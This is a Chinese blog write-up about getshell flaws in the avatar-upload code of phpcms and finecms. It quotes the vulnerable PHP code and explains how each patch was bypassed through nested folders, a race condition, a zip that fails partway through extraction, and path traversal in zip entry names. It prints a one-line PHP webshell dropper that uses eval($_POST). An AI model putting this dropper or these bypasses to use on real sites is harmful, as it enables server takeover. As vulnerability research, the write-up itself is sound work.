暑假写的文章了,最近博客没干货,发出来娱乐一下。 为了响应爱慕锅(Mramydnei)、撸大师(索马里的海贼)、fd牛(/fd)的号召成立的parsec团队,以及各位老师多年来对我的教育,我要写篇回忆稿。看标题大家可能觉得,这陈芝麻烂谷子的事你还拿出来说啥。当然,我自己搓一点都无所谓,但怎么能丢了parsec的脸,各位还是且听我娓娓道来~ 0×01 最初的phpcms头像上传getshell漏洞
//存储flashpost图片 $filename = $dir.$this->uid.'.zip'; file_put_contents($filename, $this->avatardata); //此时写入压缩文件夹内容 //解压缩文件 pc_base::load_app_class('pclzip', 'phpsso', 0); $archive = new PclZip($filename); if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) { die("Error : ".$archive->errorInfo(true)); } //568 行 //判断文件安全,删除压缩包和非jpg图片 $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg'); if($handle = opendir($dir)) { while(false !== ($file = readdir($handle))) { if($file !== '.' && $file !== '..') { if(!in_array($file, $avatararr)) { @unlink($dir.$file); } else { $info = @getimagesize($dir.$file); if(!$info || $info[2] !=2) { @unlink($dir.$file); } } } } 可以看到,它删除的时候没有递归删除,也没有删除文件夹。这样,只要我们的webshell放在压缩包的文件夹中,即可避免被删除了。 0×02 finecms前台getshell(phpcms补丁绕过)
public function upload() { if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) { exit('环境不支持'); } $dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; // 创建图片存储文件夹 if (!file_exists($dir)) { mkdir($dir, 0777, true); } $filename = $dir.'avatar.zip'; // 存储flashpost图片 file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']); // 解压缩文件 $this->load->library('Pclzip'); $this->pclzip->PclFile($filename); if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { exit($this->pclzip->zip(true)); } // 限制文件名称 $avatararr = array('45x45.jpg', '90x90.jpg'); // 删除多余目录 $files = glob($dir."*"); foreach($files as $_files) { if (is_dir($_files)) { dr_dir_delete($_files); } if (!in_array(basename($_files), $avatararr)) { @unlink($_files); } } // 判断文件安全,删除压缩包和非jpg图片 if($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file !== '.' && $file !== '..') { if (!in_array($file, $avatararr)) { @unlink($dir . $file); } else { $info = @getimagesize($dir . $file); if (!$info || $info[2] !=2) { @unlink($dir . $file); } } } } closedir($handle); } @unlink($filename); 好,我们看到,之前产生漏洞的原因就是因为没有考虑文件在文件夹中的情况,只删除了压缩包根目录下的非法文件,而没有删除其文件夹中的非法文件。 <?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?> 在文件上传解压到被删除这个时间差里访问,就能在网站根目录下生成新的php文件,那么新生成的php文件是不会被删除的。 这就是一个竞争性上传漏洞,需要我们抓住这个时间差,在上传的php文件还没被删除前访问到它,就能够暴力getshell了。 0×03 突破程序员的小聪明,phpcms补丁的继续绕过 // 创建图片存储的临时文件夹 $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/'; if (!file_exists($temp)) { mkdir($temp, 0777); } $filename = $temp.'avatar.zip'; // 存储flashpost图片 file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']); // 解压缩文件 $this->load->library('Pclzip'); $this->pclzip->PclFile($filename); if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) { exit($this->pclzip->zip(true)); } @unlink($filename); 说起来这也是phpcms曾经的修复方法,就是将压缩包放在一个随机命名的文件夹中再解压缩,这样你猜不到访问地址也就没法去暴力getshell了。 if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { exit($this->pclzip->zip(true)); } 当解压发生失败时,就退出解压缩过程。 这也是一个很平常的思路,失败了肯定要报错并退出,因为后面的代码没法运行了。但是,程序员不会想到,有些压缩包能在解压到一半的时候出错。 发包的时候,将这个压缩包带上,会发现返回了500,出错信息: 但你的webshell已经解压完毕了。这个漏洞造成了finecms官网的沦陷: http://www.2cto.com/Article/201409/332918.html 。 0×04 加了行代码就真的安全了吗?终极手段上! if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) { exit('环境不支持'); } // 创建图片存储文件夹 $dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; if (!file_exists($dir)) { mkdir($dir, 0777, true); } // 创建图片存储的临时文件夹 $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/'; if (!file_exists($temp)) { mkdir($temp, 0777); } $filename = $temp.'avatar.zip'; // 存储flashpost图片 file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']); // 解压缩文件 $this->load->library('Pclzip'); $this->pclzip->PclFile($filename); if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) { @dr_dir_delete($temp); exit($this->pclzip->zip(true)); } @unlink($filename); 加了行代码:@dr_dir_delete($temp);,解压出错后,在exit前将已经解压出来的内容删除了。确实避免了我在0×03中说到的安全问题。 将我画框的俩文件名的前9个字符改成../../../ 然后就大功告成。 然后,网站根目录下就会有你的shell了:aaaaaaaaaaa.php 通过这个方法,就能无限制地getshell:http://www.2cto.com/Article/201409/332919.html 0×05 未完待续,以及究竟怎么修复这个安全问题
|
-
上一篇: dedecms找后台与解密注意事项总汇 - 网站安全 - 自
下一篇: 金蝶某软件存在多个安全漏洞(通用管理账号+获
还没有人抢沙发呢~